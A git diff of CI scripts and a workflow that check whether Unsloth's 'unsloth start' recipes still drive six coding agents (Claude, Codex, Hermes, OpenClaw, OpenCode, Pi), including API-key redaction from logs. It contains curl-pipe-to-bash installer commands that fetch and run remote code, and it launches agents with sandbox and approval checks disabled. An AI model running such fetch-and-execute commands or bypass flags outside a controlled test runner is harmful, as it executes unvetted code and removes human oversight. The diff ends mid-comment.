diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh index 3c7cea919c..9b85b20177 100755 --- a/.github/scripts/agent-guides-drive.sh +++ b/.github/scripts/agent-guides-drive.sh @@ -6,12 +6,12 @@ # Local Agent Guides CI. All failures from here are failure class (c) # "guide drift": the server preflight already passed and the agent CLI # already installed, so a failure here means the documented recipe in -# unsloth_cli/commands/connect.py no longer produces a working flow. +# unsloth_cli/commands/start.py no longer produces a working flow. # -# Self-updating: for the 5 agents with a connect.py recipe we obtain the -# exact env + command from `unsloth connect --no-launch` and run -# THAT, so a recipe change is exercised automatically. Pi (no connect.py -# command at HEAD) is driven by a hand-written recipe. +# Self-updating: for all six agents (claude, codex, hermes, openclaw, +# opencode, pi) we obtain the exact env + command from +# `unsloth start --no-launch` and run THAT, so a recipe change is +# exercised automatically. # # Every agent invocation is wrapped in `timeout` so a headless-TTY prompt # can never hang the runner -- a timeout is reported as guide drift with a @@ -53,14 +53,14 @@ REDACTED_DIR="$REPO_ROOT/redacted-configs" WORKDIR_BASE="$REPO_ROOT/agent-workdir" CACHE_HELPER="$SCRIPT_DIR/assert-prompt-cache.sh" mkdir -p "$LOGS_DIR" "$REDACTED_DIR" -CONNECT_REF="unsloth_cli/commands/connect.py" +CONNECT_REF="unsloth_cli/commands/start.py" # Prefill-shrinking flags for Claude Code. The heavyweight agents send # multi-thousand-token system prompts + full tool schemas, which on a CPU-only # runner is minutes of prefill per model round-trip (~16 tok/s for a 4B model). # Replacing the ~5.7k default system prompt with a tiny one (--system-prompt-file) # and restricting tools cuts the prefill to a few hundred tokens so it completes -# quickly on CPU. These only shape the request size; the connect.py recipe +# quickly on CPU. These only shape the request size; the start.py recipe # (endpoint, auth, model) is still exercised end to end. # # The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured @@ -105,6 +105,13 @@ redact() { done } +# Print a file to the log with the key scrubbed, without mutating it (the raw file is +# still needed to parse the real env). Use this instead of `cat` for any transcript that +# carries an `export UNSLOTH_API_KEY=...` line, so a live key never reaches Actions logs. +cat_redacted() { + sed "s#${UNSLOTH_API_KEY}##g" "$1" +} + # A reply must be non-empty and free of connection/auth errors. assert_reply() { local out="$1" @@ -131,45 +138,29 @@ run_timed() { # $1=outfile, rest=command return "$rc" } -# ── Pi: no connect.py command at HEAD -> hand-written recipe ────────────── -write_pi_config() { - if unsloth connect pi --help >/dev/null 2>&1; then - # Tripwire: once a real recipe exists, the hand-written config would mask any - # drift in it, defeating the point of this CI. Fail hard so the cell is - # migrated to the self-updating `unsloth connect pi --no-launch` path. - guide_fail "connect.py now ships a 'pi' command -- migrate this CI cell to the 'unsloth connect pi --no-launch' path so the documented recipe is exercised (the hand-written Pi config no longer reflects it)" - fi - mkdir -p "$HOME/.pi/agent" - python3 - "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY" "$UNSLOTH_MODEL_ID" <<'PY' -import json, os, sys -base, key, model = sys.argv[1], sys.argv[2], sys.argv[3] -cfg = {"providers": {"unsloth": { - "api": "openai-completions", - "baseUrl": f"{base}/v1", - "apiKey": key, - "models": [{"id": model}], -}}} -path = os.path.expanduser("~/.pi/agent/models.json") -with open(path, "w") as fh: - json.dump(cfg, fh, indent=2) -PY - cp "$HOME/.pi/agent/models.json" "$REDACTED_DIR/pi-models.json" 2>/dev/null || true - redact "$REDACTED_DIR/pi-models.json" +# Read a value from an `export VAR=...` line in the connect --no-launch output. +# `unsloth start` writes each agent's session config off the user's ~ and points +# at it through a relocation env var (CODEX_HOME / OPENCODE_CONFIG / +# OPENCLAW_CONFIG_PATH), so the contract checks read the path from here. +raw_env() { # $1 = var name -> value (one shlex-quote layer stripped) + local raw="$LOGS_DIR/connect-${AGENT}.txt" + local v; v="$(sed -n "s/^export $1=//p" "$raw" | tail -1)" + v="${v#\'}"; v="${v%\'}"; printf '%s' "$v" } -# ── 5-agent connect.py path: parse env + command from --no-launch ───────── +# ── 5-agent start.py path: parse env + command from --no-launch ───────── # Populates globals CONNECT_ENV (export/unset lines) and CONNECT_CMD (the -# launch command on the last printed line), and runs connect.py's config -# writers as a side effect (it writes ~/.codex, ~/.claude, etc.). +# launch command on the last printed line), and runs start.py's config +# writers as a side effect (it writes each agent's relocated session config). parse_connect() { local raw="$LOGS_DIR/connect-${AGENT}.txt" - if ! unsloth connect "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then - cat "$raw" - guide_fail "'unsloth connect ${AGENT} --no-launch' exited non-zero" + if ! unsloth start "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then + cat_redacted "$raw" + guide_fail "'unsloth start ${AGENT} --no-launch' exited non-zero" fi - echo "[$AGENT] connect --no-launch printed:"; cat "$raw" + echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw" CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)" - # The launch command is the last non-export, non-status line. connect.py + # The launch command is the last non-export, non-status line. start.py # prints "Studio · model " and "Updated ..." status lines first. CONNECT_CMD="$(grep -vE '^(export |unset |Studio |Updated |Disabled |Warning|Loading)' "$raw" \ | grep -E '[^[:space:]]' | tail -1)" @@ -177,45 +168,63 @@ parse_connect() { redact "$raw" } -# Cross-check the documented contract knobs so silent connect.py changes +# Cross-check the documented contract knobs so silent start.py changes # (env-var rename, wire_api flip, attribution setting drop) also fail/flag. crosscheck_contract() { local raw="$LOGS_DIR/connect-${AGENT}.txt" + local cfg home case "$AGENT" in codex) grep -q 'UNSLOTH_STUDIO_AUTH_TOKEN' "$raw" \ - || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (connect.py _CODEX_ENV_KEY)" - if [ -f "$HOME/.codex/config.toml" ]; then - grep -q 'wire_api = "responses"' "$HOME/.codex/config.toml" \ - || guide_fail "Codex wire_api is no longer \"responses\" in ~/.codex/config.toml" - cp "$HOME/.codex/config.toml" "$REDACTED_DIR/codex-config.toml" + || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (start.py _CODEX_ENV_KEY)" + home="$(raw_env CODEX_HOME)" + # An empty relocation var would make cfg "/config.toml" and silently + # skip the [ -f ] contract check below; fail loudly instead. + [ -n "$home" ] || guide_fail "CODEX_HOME missing from connect output (start.py codex())" + cfg="$home/config.toml" + if [ -f "$cfg" ]; then + grep -q 'wire_api = "responses"' "$cfg" \ + || guide_fail "Codex wire_api is no longer \"responses\" in \$CODEX_HOME/config.toml" + cp "$cfg" "$REDACTED_DIR/codex-config.toml" fi grep -q 'codex --oss --profile unsloth_api' "$raw" \ || echo "::warning::Codex launch command changed from 'codex --oss --profile unsloth_api'" ;; claude) grep -q 'ANTHROPIC_AUTH_TOKEN' "$raw" \ - || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (connect.py claude())" - if [ -f "$HOME/.claude/settings.json" ]; then - grep -q '"CLAUDE_CODE_ATTRIBUTION_HEADER"' "$HOME/.claude/settings.json" \ - || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER not written to ~/.claude/settings.json (ensure_claude_attribution_header)" - cp "$HOME/.claude/settings.json" "$REDACTED_DIR/claude-settings.json" - fi + || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (start.py claude())" + grep -q 'CLAUDE_CODE_ATTRIBUTION_HEADER' "$raw" \ + || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER no longer set for the session (start.py claude())" ;; hermes) grep -q 'UNSLOTH_API_KEY' "$raw" \ - || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (connect.py _HERMES_ENV_KEY)" - [ -f "$HOME/.hermes/config.yaml" ] && cp "$HOME/.hermes/config.yaml" "$REDACTED_DIR/hermes-config.yaml" + || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (start.py _HERMES_ENV_KEY)" + home="$(raw_env HERMES_HOME)" + [ -n "$home" ] || guide_fail "HERMES_HOME missing from connect output (start.py hermes())" + cfg="$home/config.yaml" + [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/hermes-config.yaml" ;; openclaw) - if [ -f "$HOME/.openclaw/openclaw.json" ]; then - grep -q '"openai-completions"' "$HOME/.openclaw/openclaw.json" \ + cfg="$(raw_env OPENCLAW_CONFIG_PATH)" + if [ -n "$cfg" ] && [ -f "$cfg" ]; then + grep -q '"openai-completions"' "$cfg" \ || echo "::warning::OpenClaw provider api is no longer 'openai-completions' (write_openclaw_config)" - cp "$HOME/.openclaw/openclaw.json" "$REDACTED_DIR/openclaw.json" + cp "$cfg" "$REDACTED_DIR/openclaw.json" fi ;; opencode) - [ -f "$HOME/.config/opencode/opencode.json" ] && cp "$HOME/.config/opencode/opencode.json" "$REDACTED_DIR/opencode.json" + cfg="$(raw_env OPENCODE_CONFIG)" + [ -n "$cfg" ] && [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/opencode.json" + ;; + pi) + # Pi has no config-dir env var; the session is HOME-relocated, and the + # provider config lives at $HOME/.pi/agent/models.json. + cfg="$(raw_env HOME)/.pi/agent/models.json" + if [ -f "$cfg" ]; then + grep -q '"openai-completions"' "$cfg" \ + || echo "::warning::Pi provider api is no longer 'openai-completions' (write_pi_config)" + cp "$cfg" "$REDACTED_DIR/pi-models.json" + fi ;; esac redact "$REDACTED_DIR"/* 2>/dev/null || true @@ -229,16 +238,23 @@ crosscheck_contract() { # Hermes: an explicit empty cli toolset disables all tools (and drops the # tool-gated guidance blocks), so -z sends ~300 tokens instead of thousands. -# hermes ships a DEFAULT config.yaml that already has a populated -# platform_toolsets, and `unsloth connect` merges into it, so we must override -# cli (not just append). That needs a YAML parser, and the runner's bare -# python3 has no PyYAML -- but the venv that ships `unsloth` does (connect.py -# imports yaml), so run the patch with that interpreter. +# Hermes enables its default cli toolset when the session config does not pin one, +# so we must set platform_toolsets.cli explicitly to [] (not just append) to get +# zero tools. That needs a YAML parser, and the runner's bare python3 has no +# PyYAML -- but the venv that ships `unsloth` does (start.py imports yaml), so run +# the patch with that interpreter. We patch the relocated $HERMES_HOME/config.yaml +# that `unsloth start` printed, not the user's ~/.hermes. # (-z reads platform_toolsets.cli; --ignore-rules is a no-op under -z.) patch_hermes_tools() { # $1 = none|default + # Check the raw var BEFORE appending /config.yaml: the joined path is never + # empty, so the old guard could not fire and the patcher would die on + # "/config.yaml" with a bare traceback instead of this clear failure. + local home; home="$(raw_env HERMES_HOME)" + [ -n "$home" ] || guide_fail "Hermes HERMES_HOME missing from connect output (start.py hermes())" + local cfg; cfg="$home/config.yaml" # Find a python that can import yaml. The runner's bare python3 cannot, but the # interpreter in the `unsloth` console-script shebang provably can (it runs - # connect.py's write_hermes_config, which imports yaml). Try that first, then + # start.py's write_hermes_config, which imports yaml). Try that first, then # any python on PATH, then the venv sibling, picking the first with PyYAML. local cand py="" shebang shebang="$(head -1 "$(command -v unsloth)" 2>/dev/null | sed -n 's/^#![[:space:]]*//p' | awk '{print $1}')" @@ -247,13 +263,13 @@ patch_hermes_tools() { # $1 = none|default { [ -x "$cand" ] || command -v "$cand" >/dev/null 2>&1; } || continue if "$cand" -c 'import yaml' 2>/dev/null; then py="$cand"; break; fi done - [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch ~/.hermes/config.yaml" - echo "[hermes] patching config with $py" - "$py" - "$1" <<'PY' + [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch the hermes session config" + echo "[hermes] patching $cfg with $py" + "$py" - "$1" "$cfg" <<'PY' import os, sys import yaml mode = sys.argv[1] -p = os.path.expanduser("~/.hermes/config.yaml") +p = sys.argv[2] cfg = (yaml.safe_load(open(p)) or {}) if os.path.exists(p) else {} ts = cfg.get("platform_toolsets") if not isinstance(ts, dict): @@ -274,10 +290,14 @@ PY # drop the auto-injected AGENTS.md/SOUL.md bootstrap (the bulk of the prompt) for # both modes. --agent must reference a defined agent, so write it before invoking. patch_openclaw_agent() { # $1 = notools|tools - python3 - "$1" <<'PY' + # OpenClaw reads its config from the relocated OPENCLAW_CONFIG_PATH that + # `unsloth start` printed, so patch THAT file (not the user's ~/.openclaw). + local cfg; cfg="$(raw_env OPENCLAW_CONFIG_PATH)" + [ -n "$cfg" ] || guide_fail "OpenClaw OPENCLAW_CONFIG_PATH missing from connect output (start.py openclaw())" + python3 - "$1" "$cfg" <<'PY' import os, sys, json mode = sys.argv[1] -p = os.path.expanduser("~/.openclaw/openclaw.json") +p = sys.argv[2] cfg = json.load(open(p)) if os.path.exists(p) else {} agents = cfg.setdefault("agents", {}) agents.setdefault("defaults", {})["skipBootstrap"] = True @@ -293,20 +313,24 @@ print(f"[openclaw] agent ci tools = {agent.get('tools', 'default')}") PY } -# Build an invoke script that applies connect.py's env then runs the launch +# Build an invoke script that applies start.py's env then runs the launch # command (with extra args appended) under bash. We do NOT eval connect's env # into this shell; we write it into a one-shot script so the export/unset -# semantics are exactly what connect.py printed. The script path is absolute +# semantics are exactly what start.py printed. The script path is absolute # so it is valid even when the caller has cd'd into a scratch work dir. invoke_via_connect() { # $1=outfile, rest=extra args appended to the command local out="$1"; shift local script="$LOGS_DIR/invoke-${AGENT}.sh" local real; real="$(mktemp)" + # CONNECT_ENV_EXTRA / CONNECT_CMD_OVERRIDE let a caller (attribution-ab) flip a + # session knob without editing the user's config; empty -> use what start.py emitted. + local cmd="${CONNECT_CMD_OVERRIDE:-$CONNECT_CMD}" { echo "set -uo pipefail" echo "$CONNECT_ENV" + [ -n "${CONNECT_ENV_EXTRA:-}" ] && echo "$CONNECT_ENV_EXTRA" # Append extra args (the prompt / flags) to the launch command verbatim. - printf '%s' "$CONNECT_CMD" + printf '%s' "$cmd" local a for a in "$@"; do printf ' %q' "$a"; done printf '\n' @@ -318,7 +342,9 @@ invoke_via_connect() { # $1=outfile, rest=extra args appended to the command # Writing the redacted copy up front keeps the key out of the artifact even if # the run times out (run_timed exits before returning here). cp "$real" "$script"; redact "$script" - echo "[$AGENT] invoking (timeout ${TIMEOUT}s): $CONNECT_CMD $*" + # The connect one-liner now carries the key as an inline env assignment; scrub it on + # the way to the log (the executed $real keeps the live value). + echo "[$AGENT] invoking (timeout ${TIMEOUT}s): ${cmd//${UNSLOTH_API_KEY}/} $*" run_timed "$out" bash "$real" local rc=$? rm -f "$real" @@ -332,27 +358,23 @@ case "$MODE" in connection) PROMPT='Reply with exactly the single word: pong' OUT="$LOGS_DIR/${AGENT}-connection.txt" - if [ "$AGENT" = "pi" ]; then - write_pi_config - run_timed "$OUT" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$PROMPT" - else - parse_connect - crosscheck_contract - # claude/codex run in print mode via the flags connect.py emits - # (claude -p / codex exec). For agents whose default subcommand prints - # to stdout we pass the prompt through ctx.args. - case "$AGENT" in - claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;; - codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;; - opencode) invoke_via_connect "$OUT" run "$PROMPT" ;; - hermes) patch_hermes_tools none - invoke_via_connect "$OUT" -z "$PROMPT" ;; - openclaw) patch_openclaw_agent notools - invoke_via_connect "$OUT" agent --local --agent ci \ - --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;; - *) invoke_via_connect "$OUT" "$PROMPT" ;; - esac - fi + parse_connect + crosscheck_contract + # claude/codex run in print mode via the flags start.py emits + # (claude -p / codex exec). For agents whose default subcommand prints + # to stdout we pass the prompt through ctx.args. + case "$AGENT" in + claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;; + codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;; + opencode) invoke_via_connect "$OUT" run "$PROMPT" ;; + pi) invoke_via_connect "$OUT" -p "$PROMPT" ;; + hermes) patch_hermes_tools none + invoke_via_connect "$OUT" -z "$PROMPT" ;; + openclaw) patch_openclaw_agent notools + invoke_via_connect "$OUT" agent --local --agent ci \ + --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;; + *) invoke_via_connect "$OUT" "$PROMPT" ;; + esac # A non-zero exit from the documented launch command is drift even if it # printed something: a benign-looking "command not found" / usage dump would # otherwise slip past assert_reply (which only flags empty/error-keyword text). @@ -371,22 +393,18 @@ case "$MODE" in T1='Create a file named hello.py in the current directory whose entire contents are a single line: print("Hello"). Do not run it.' T2='Run hello.py with python and show me the exact output.' - # The connect.py recipe writers + crosscheck must see the repo; run them + # The start.py recipe writers + crosscheck must see the repo; run them # from the repo root BEFORE cd-ing into the scratch work dir. - if [ "$AGENT" != "pi" ]; then - parse_connect - crosscheck_contract - # File-edit needs real tools, so we cannot zero them as in connection. - # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md - # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work - # dir is empty, so no project context files are auto-loaded either. - case "$AGENT" in - hermes) patch_hermes_tools default ;; - openclaw) patch_openclaw_agent tools ;; - esac - else - write_pi_config - fi + parse_connect + crosscheck_contract + # File-edit needs real tools, so we cannot zero them as in connection. + # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md + # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work + # dir is empty, so no project context files are auto-loaded either. + case "$AGENT" in + hermes) patch_hermes_tools default ;; + openclaw) patch_openclaw_agent tools ;; + esac # Drive from inside the work dir so the agent edits files there. All log # writes use absolute $LOGS_DIR, so cwd does not matter for them. @@ -395,7 +413,14 @@ case "$MODE" in invoke_turn() { # $1=outfile $2=continue? $3=prompt local out="$1" cont="$2" prompt="$3" case "$AGENT" in - pi) run_timed "$out" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$prompt" ;; + pi) + # Pi continues the previous session with -c; provider/model come from + # the parsed `unsloth start pi` recipe (CONNECT_CMD), not hardcoded here. + if [ "$cont" = "continue" ]; then + invoke_via_connect "$out" -p --continue "$prompt" + else + invoke_via_connect "$out" -p "$prompt" + fi ;; claude) # --dangerously-skip-permissions lets headless claude actually use the # Write/Bash tools (otherwise it blocks on an approval prompt and emits @@ -466,33 +491,32 @@ case "$MODE" in # right before the measured turn, so an earlier turn's reuse can't leak in. LLAMA_LOG_DIR="${UNSLOTH_LLAMA_LOG_DIR:-$HOME/.unsloth/studio/logs/llama-server}" export LLAMA_LOG_DIR - parse_connect # writes ~/.claude/settings.json (header=0) + env + parse_connect # prints session env + suppression flags (no ~/.claude write) crosscheck_contract PROMPT='Reply with exactly the single word: pong' - # Phase A: header DISABLED (=0, the documented setting) -> expect a HIT on - # the continued turn. connect.py's ensure_claude_attribution_header() set 0. + # Phase A: the suppression start.py ships (CLAUDE_CODE_ATTRIBUTION_HEADER=0 + + # --exclude-dynamic-system-prompt-sections + --settings overlay) -> expect a + # HIT on the continued turn, since the system-prompt prefix is stable. invoke_via_connect "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT" # turn 1 primes FROM_HIT="$(bash "$CACHE_HELPER" mark)" # offset before turn 2 invoke_via_connect "$LOGS_DIR/claude-ab-hit-2.txt" -p --continue "$PROMPT again" CACHE_LOG_FROM="$FROM_HIT" bash "$CACHE_HELPER" log HIT - # Phase B: header ENABLED -> expect a MISS. The header prepends a - # per-request-changing attribution line to the system prompt, so the shared - # prefix changes every turn and the KV cache is invalidated (~90% slower); - # this is exactly what the guide flag prevents. - python3 - <<'PY' -import json, os -p = os.path.expanduser("~/.claude/settings.json") -s = json.load(open(p)) if os.path.exists(p) else {} -s.setdefault("env", {})["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "1" -json.dump(s, open(p, "w"), indent=2) -PY + # Phase B: vanilla Claude with the header ENABLED -> expect a MISS. We flip + # the env var to 1 and strip the suppression flags from the launch command + # (without them the dynamic attribution line is included and changes every + # turn, so the shared prefix moves and the KV cache is invalidated, ~90% + # slower). This is session-only: nothing is written to ~/.claude. + CONNECT_ENV_EXTRA='export CLAUDE_CODE_ATTRIBUTION_HEADER=1' + CONNECT_CMD_OVERRIDE="$(printf '%s' "$CONNECT_CMD" \ + | sed -E "s/ --exclude-dynamic-system-prompt-sections//; s/ --settings '[^']*'//")" invoke_via_connect "$LOGS_DIR/claude-ab-miss-1.txt" -p "$PROMPT" FROM_MISS="$(bash "$CACHE_HELPER" mark)" invoke_via_connect "$LOGS_DIR/claude-ab-miss-2.txt" -p --continue "$PROMPT again" CACHE_LOG_FROM="$FROM_MISS" bash "$CACHE_HELPER" log MISS - echo "[claude] attribution A/B OK (header=0 HIT, header=1 MISS)" + unset CONNECT_ENV_EXTRA CONNECT_CMD_OVERRIDE + echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)" ;; *) diff --git a/.github/scripts/agent-guides-install.sh b/.github/scripts/agent-guides-install.sh index dfab8aec80..daf4bacd3e 100755 --- a/.github/scripts/agent-guides-install.sh +++ b/.github/scripts/agent-guides-install.sh @@ -7,7 +7,7 @@ # is the single biggest source of false reds, so installs retry with # backoff and the only ::error:: this script can emit is class (b). The # install recipes mirror the install_hint strings in -# unsloth_cli/commands/connect.py at HEAD. +# unsloth_cli/commands/start.py at HEAD. # # Usage: agent-guides-install.sh # agent in: claude codex hermes openclaw opencode pi @@ -25,13 +25,14 @@ install_fail() { } # npm registry flakiness is common in CI; retry 3x with linear backoff. +# Extra npm flags may precede the package (e.g. npm_retry --ignore-scripts pkg). npm_retry() { - local pkg="$1" i + local i for i in 1 2 3; do - if npm install -g "$pkg" >> "$LOG" 2>&1; then + if npm install -g "$@" >> "$LOG" 2>&1; then return 0 fi - echo "[install] npm install -g $pkg attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG" + echo "[install] npm install -g $* attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG" sleep "$((i * 10))" done return 1 @@ -60,30 +61,30 @@ curl_bash() { echo "[install] agent=$AGENT (log=$LOG)" case "$AGENT" in claude) - # connect.py install_hint: curl -fsSL https://claude.ai/install.sh | bash + # start.py install_hint: curl -fsSL https://claude.ai/install.sh | bash curl_bash "https://claude.ai/install.sh" || install_fail "claude installer failed" # The installer drops the binary under ~/.local/bin. echo "$HOME/.local/bin" >> "$GITHUB_PATH" ;; codex) - # connect.py install_hint: npm install -g @openai/codex + # start.py install_hint: npm install -g @openai/codex npm_retry "@openai/codex" || install_fail "npm install -g @openai/codex failed" ;; opencode) - # connect.py install_hint: npm install -g opencode-ai + # start.py install_hint: npm install -g opencode-ai npm_retry "opencode-ai" || install_fail "npm install -g opencode-ai failed" ;; openclaw) - # connect.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash + # start.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash # npm is the more deterministic path in CI and matches the agent's docs; - # fall back to the connect.py curl installer if the npm tag is missing. + # fall back to the start.py curl installer if the npm tag is missing. if ! npm_retry "openclaw@latest"; then curl_bash "https://openclaw.ai/install.sh" || install_fail "openclaw install failed (npm + curl)" echo "$HOME/.local/bin" >> "$GITHUB_PATH" fi ;; hermes) - # connect.py install_hint: + # start.py install_hint: # curl -fsSL .../NousResearch/hermes-agent/main/scripts/install.sh | bash curl_bash "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh" \ --non-interactive --skip-setup --skip-browser --no-skills \ @@ -91,11 +92,13 @@ case "$AGENT" in echo "$HOME/.local/bin" >> "$GITHUB_PATH" ;; pi) - # No connect.py recipe; the agent's documented package name. The CLI moved - # from the now-deprecated @mariozechner scope to @earendil-works (the old - # scope is frozen, so installing it would test a stale Pi against the API). - npm_retry "@earendil-works/pi-coding-agent" \ - || install_fail "npm install -g @earendil-works/pi-coding-agent failed" + # start.py install_hint: npm install -g --ignore-scripts @earendil-works/pi-coding-agent + # (--ignore-scripts matches Pi's documented recipe; exercising the exact hint + # catches guide drift). The CLI moved from the now-deprecated @mariozechner + # scope to @earendil-works (the old scope is frozen, so installing it would + # test a stale Pi against the API). + npm_retry --ignore-scripts "@earendil-works/pi-coding-agent" \ + || install_fail "npm install -g --ignore-scripts @earendil-works/pi-coding-agent failed" ;; *) install_fail "unknown agent '$AGENT'" diff --git a/.github/scripts/serve-unsloth-run.sh b/.github/scripts/serve-unsloth-run.sh index 34b8b962c6..6ac98ded7c 100755 --- a/.github/scripts/serve-unsloth-run.sh +++ b/.github/scripts/serve-unsloth-run.sh @@ -27,7 +27,7 @@ # # Outputs written to $GITHUB_ENV (and echoed): # UNSLOTH_API_KEY the sk-unsloth-* key minted on the banner -# UNSLOTH_STUDIO_URL http://127.0.0.1: (so `unsloth connect` +# UNSLOTH_STUDIO_URL http://127.0.0.1: (so `unsloth start` # finds THIS server, not the hardcoded :8888) # UNSLOTH_BASE_URL same as UNSLOTH_STUDIO_URL (alias for clarity) # UNSLOTH_MODEL_ID the canonical id reported by /v1/models diff --git a/.github/workflows/local-agent-guides-ci.yml b/.github/workflows/local-agent-guides-ci.yml index 299ee3f18b..47f75dc1ba 100644 --- a/.github/workflows/local-agent-guides-ci.yml +++ b/.github/workflows/local-agent-guides-ci.yml @@ -6,29 +6,27 @@ # Detects when our local-agent setup recipes drift out of sync with # `unsloth run`. Boots a real `unsloth run --disable-tools` server and # drives the coding agents end to end through the *exact* recipes defined -# in unsloth_cli/commands/connect.py (the in-repo source of truth -- there -# is no docs/ tree). Wherever connect.py has a recipe we drive the agent -# via `unsloth connect --no-launch` and execute what it prints, so -# the test self-updates against connect.py and catches silent recipe drift. +# in unsloth_cli/commands/start.py (the in-repo source of truth -- there +# is no docs/ tree). Wherever start.py has a recipe we drive the agent +# via `unsloth start --no-launch` and execute what it prints, so +# the test self-updates against start.py and catches silent recipe drift. # # Source-of-truth files this workflow guards: -# unsloth_cli/commands/connect.py the `unsloth connect ` recipes +# unsloth_cli/commands/start.py the `unsloth start ` recipes # unsloth_cli/commands/studio.py the `unsloth run` banner (API Key line) # # Failure taxonomy (each surfaced with a distinct ::error:: + the agent name -# + the connect.py location, so a red X is immediately triageable): +# + the start.py location, so a red X is immediately triageable): # (a) Unsloth server/API regression -- the dialect HTTP preflight fails # BEFORE the agent runs (or the server never becomes healthy). # (b) Agent package install failed -- npm/curl install of the CLI failed. # (c) Guide drift -- preflight passed + install ok, but -# the documented `unsloth connect` flow produced no/garbled output. +# the documented `unsloth start` flow produced no/garbled output. # # Agents covered (6): claude, codex, hermes, openclaw, opencode, pi. -# - claude/codex/hermes/openclaw/opencode have a connect.py recipe. -# - pi has NO `unsloth connect pi` command in connect.py at HEAD; it is -# driven by a hand-written recipe and the matrix cell asserts that the -# missing connect recipe is the (known) reason, so the day connect.py -# grows a `pi` command this cell flips to the self-updating path. +# - All six have a `unsloth start ` recipe, so each cell obtains its +# env + command from `unsloth start --no-launch` and runs THAT +# (self-updating: a recipe change is exercised automatically). name: Local Agent Guides CI @@ -83,7 +81,7 @@ jobs: # ═════════════════════════════════════════════════════════════════════ # Job 1: connection # Per-agent: serve gemma-3-270m, HTTP-preflight the agent's dialect, - # install the agent, run `unsloth connect --no-launch`, execute + # install the agent, run `unsloth start --no-launch`, execute # the emitted recipe with a trivial prompt, assert a non-empty reply. # Runs on PR + weekly + dispatch. Each matrix cell is its own runner so # it serves exactly one model on its own port. @@ -103,7 +101,9 @@ jobs: env: # gemma-4-E4B (128K context, capable enough to drive every agent for a # trivial reply; the 270m model produced empty/failed responses for - # codex/openclaw and is below hermes' 64K context floor). Served as a flat + # codex/openclaw). Hermes' 64K context floor no longer constrains the model + # choice: write_hermes_config claims the floor for smaller windows and + # scales compaction back to the real window. Served as a flat # GGUF file (the -MTP- repo ships no separate draft, so this is plain 4B). GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf @@ -209,7 +209,7 @@ jobs: ;; *) # OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw). - # OpenClaw's connect.py recipe writes an "openai-completions" + # OpenClaw's start.py recipe writes an "openai-completions" # provider (write_openclaw_config), so it uses this path, not # /v1/messages. code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \ @@ -227,13 +227,13 @@ jobs: AGENT: ${{ matrix.agent }} run: bash .github/scripts/agent-guides-install.sh "$AGENT" - # ── (c) drive the agent via connect.py and assert a reply ────────── - # For the 5 agents with a connect.py recipe we run - # `unsloth connect --no-launch`, eval its env/unset exports, + # ── (c) drive the agent via start.py and assert a reply ────────── + # For the 5 agents with a start.py recipe we run + # `unsloth start --no-launch`, eval its env/unset exports, # then run the printed command with a hard timeout (no headless-TTY # hang). Pi has no connect recipe, so it is driven by hand and the # cell asserts that absence is the (known) reason. - - name: Drive ${{ matrix.agent }} via unsloth connect (class-c isolation) + - name: Drive ${{ matrix.agent }} via unsloth start (class-c isolation) env: AGENT: ${{ matrix.agent }} run: bash .github/scripts/agent-guides-drive.sh connection "$AGENT" @@ -248,8 +248,10 @@ jobs: # `API Key: `) into logs/unsloth-run-.log, and the upload # step publishes all of logs/, so scrubbing only studio-logs would leak # the bearer token in the retained artifact. + # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and + # agent-workdir/ are published by the same upload step. if [ -n "${UNSLOTH_API_KEY:-}" ]; then - grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true done fi @@ -438,8 +440,10 @@ jobs: # `API Key: `) into logs/unsloth-run-.log, and the upload # step publishes all of logs/, so scrubbing only studio-logs would leak # the bearer token in the retained artifact. + # Sweep EVERY uploaded path, not just 